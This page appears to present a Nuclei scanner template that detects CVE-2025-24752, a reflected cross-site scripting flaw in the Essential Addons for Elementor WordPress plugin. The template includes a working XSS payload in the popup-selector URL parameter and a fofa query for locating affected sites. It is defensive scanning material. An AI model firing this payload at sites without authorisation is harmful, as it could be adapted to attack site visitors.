Essential Addons for Elementor < 6.0.15 - Cross-Site Scripting

ID: CVE-2025-24752

Severity: medium

Author: DhiyaneshDK

Tags: cve,cve2025,xss,essential,elementor-lite

Description

A Cross-Site Scripting (XSS) vulnerability exists in Essential Addons for Elementor Plugin for WordPress versions prior to 6.0.15. The vulnerability allows an attacker to inject malicious JavaScript payloads into web pages by exploiting insufficient input sanitization and output escaping in specific plugin components.

YAML Source

id: CVE-2025-24752

info:
  name: Essential Addons for Elementor < 6.0.15 - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    A Cross-Site Scripting (XSS) vulnerability exists in Essential Addons for Elementor Plugin for WordPress versions prior to 6.0.15. The vulnerability allows an attacker to inject malicious JavaScript payloads into web pages by exploiting insufficient input sanitization and output escaping in specific plugin components.
  reference:
    - https://www.tenable.com/plugins/was/114609
    - https://patchstack.com/articles/reflected-xss-patched-in-essential-addons-for-elementor-affecting-2-million-sites/
    - https://github.com/Sachinart/essential-addons-for-elementor-xss-poc/blob/main/poc.py
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/wp-content/plugins/essential-addons-for-elementor-lite"
  tags: cve,cve2025,xss,essential,elementor-lite

variables:
  random_int: '{{rand_int(1,1000)}}'

headless:
  - steps:
      - args:
          url: '{{BaseURL}}/?popup-selector=<img_src%3Dx_onerror%3Dalert%28%27{{random_int}}n%27%29>&eael-lostpassword=1'
        action: navigate

      - action: waitdialog
        name: subdomain_object_dom

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - subdomain_object_dom == true

      - type: word
        part: body
        words:
          - "{{random_int}}"
        case-insensitive: true
# digest: 4a0a00473045022000b042f51608cca47a2a1f7bb177f443e5aab2d7922d69d7f2b66d68888cb7fc0221009e736ccd5e74d05842fa56a943949cc17d330fb501505a2beec0c400eca3adf0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "headless/cves/2025/CVE-2025-24752.yaml"

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